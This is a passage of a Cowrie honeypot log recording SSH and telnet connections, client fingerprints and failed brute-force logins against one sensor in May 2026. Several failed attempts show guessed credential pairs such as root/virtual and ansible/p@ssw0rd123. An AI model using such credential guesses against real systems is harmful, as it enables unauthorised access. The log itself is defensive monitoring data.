96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:01.711577Z","src_ip":"159.203.92.129","session":"34162d46c1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"p@ssw0rd123","message":"login attempt [ansible/p@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:01.726829Z","src_ip":"159.203.92.129","session":"34162d46c1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:02.734785Z","src_ip":"159.203.92.129","session":"34162d46c1ab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:03.054336Z","src_ip":"213.209.159.158","session":"857cf4b3fcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:03.058722Z","src_ip":"213.209.159.158","session":"857cf4b3fcf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1e617415e2","protocol":"telnet","message":"New connection: 107.155.66.219:35424 (159.203.135.109:23) [session: 5d1e617415e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:05.111375Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50836,"dst_ip":"159.203.135.109","dst_port":23,"session":"731e5c3158c7","protocol":"telnet","message":"New connection: 62.171.135.55:50836 (159.203.135.109:23) [session: 731e5c3158c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:05.940386Z"}
{"eventid":"cowrie.session.closed","duration":30.899490356445312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:09.030121Z","src_ip":"107.155.66.219","session":"781ba7edbfbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893620252609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:10.041339Z","src_ip":"107.155.66.219","session":"3b43c866f764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90757393836975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:11.082870Z","src_ip":"107.155.66.219","session":"7ba0f7b83cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91378927230835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:11.115801Z","src_ip":"107.155.66.219","session":"9e757559a764","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"virtual","message":"login attempt [root/virtual] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:12.321878Z","src_ip":"213.209.159.158","session":"857cf4b3fcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48661780357361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:14.048536Z","src_ip":"107.155.66.219","session":"87a60962905e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a3851ee04c","protocol":"telnet","message":"New connection: 107.155.66.219:38324 (159.203.135.109:23) [session: 04a3851ee04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:14.517938Z"}
{"eventid":"cowrie.session.closed","duration":30.91999053955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:15.039619Z","src_ip":"107.155.66.219","session":"6c1d65b20318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:15.492937Z","src_ip":"213.209.159.158","session":"857cf4b3fcf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5610,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4da81fdbf4","protocol":"ssh","message":"New connection: 213.209.159.158:5610 (159.203.135.109:22) [session: 0f4da81fdbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:15.601319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:18.012896Z","src_ip":"213.209.159.158","session":"0f4da81fdbf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:18.016715Z","src_ip":"213.209.159.158","session":"0f4da81fdbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":38356,"dst_ip":"159.203.135.109","dst_port":22,"session":"381c819e279f","protocol":"ssh","message":"New connection: 43.159.177.40:38356 (159.203.135.109:22) [session: 381c819e279f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:20.429917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:20.439689Z","src_ip":"43.159.177.40","session":"381c819e279f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:20.508459Z","src_ip":"43.159.177.40","session":"381c819e279f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"ftpuser","message":"login attempt [userftp/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:20.779738Z","src_ip":"43.159.177.40","session":"381c819e279f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:21.888955Z","src_ip":"43.159.177.40","session":"381c819e279f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.937653064727783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:22.158221Z","src_ip":"107.155.66.219","session":"4fdd0f2a6a13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VjCdn","message":"login attempt [root/VjCdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:27.210550Z","src_ip":"213.209.159.158","session":"0f4da81fdbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":40288,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a454ff4364","protocol":"telnet","message":"New connection: 107.155.66.219:40288 (159.203.135.109:23) [session: 11a454ff4364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:27.365110Z"}
{"eventid":"cowrie.session.closed","duration":30.80035924911499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:27.467365Z","src_ip":"62.171.135.55","session":"be9575042a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36327362060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:28.563018Z","src_ip":"107.155.66.219","session":"64aa291d6e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:30.798872Z","src_ip":"213.209.159.158","session":"0f4da81fdbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5980,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b66bacb72da","protocol":"ssh","message":"New connection: 213.209.159.158:5980 (159.203.135.109:22) [session: 4b66bacb72da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:30.878330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:33.095898Z","src_ip":"213.209.159.158","session":"4b66bacb72da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:33.099710Z","src_ip":"213.209.159.158","session":"4b66bacb72da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":50142,"dst_ip":"159.203.135.109","dst_port":22,"session":"3980acf7ad61","protocol":"ssh","message":"New connection: 156.227.233.77:50142 (159.203.135.109:22) [session: 3980acf7ad61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:35.813731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:35.819129Z","src_ip":"156.227.233.77","session":"3980acf7ad61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:35.979639Z","src_ip":"156.227.233.77","session":"3980acf7ad61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.14159631729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:36.081831Z","src_ip":"62.171.135.55","session":"731e5c3158c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023579120635986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:36.134861Z","src_ip":"107.155.66.219","session":"5d1e617415e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"12345678","message":"login attempt [vbox/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:36.652217Z","src_ip":"156.227.233.77","session":"3980acf7ad61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:37.814792Z","src_ip":"156.227.233.77","session":"3980acf7ad61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42336,"dst_ip":"159.203.135.109","dst_port":23,"session":"65458839a1bb","protocol":"telnet","message":"New connection: 62.171.135.55:42336 (159.203.135.109:23) [session: 65458839a1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:38.891337Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58900,"dst_ip":"159.203.135.109","dst_port":23,"session":"280e42816bfc","protocol":"telnet","message":"New connection: 107.155.66.219:58900 (159.203.135.109:23) [session: 280e42816bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:40.184783Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps12","message":"login attempt [root/vps12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:42.244520Z","src_ip":"213.209.159.158","session":"4b66bacb72da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617382764816284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:45.135189Z","src_ip":"107.155.66.219","session":"04a3851ee04c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:45.554843Z","src_ip":"213.209.159.158","session":"4b66bacb72da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53358,"dst_ip":"159.203.135.109","dst_port":22,"session":"00c259d9be0d","protocol":"ssh","message":"New connection: 213.209.159.158:53358 (159.203.135.109:22) [session: 00c259d9be0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:45.658777Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39818,"dst_ip":"159.203.135.109","dst_port":22,"session":"a578ae226108","protocol":"ssh","message":"New connection: 159.203.92.129:39818 (159.203.135.109:22) [session: a578ae226108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:46.408801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:46.415675Z","src_ip":"159.203.92.129","session":"a578ae226108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:46.422084Z","src_ip":"159.203.92.129","session":"a578ae226108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"pass.senpai","message":"login attempt [ansible/pass.senpai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:46.437778Z","src_ip":"159.203.92.129","session":"a578ae226108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:47.444595Z","src_ip":"159.203.92.129","session":"a578ae226108","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:47.775212Z","src_ip":"213.209.159.158","session":"00c259d9be0d","protocol":"ssh"}
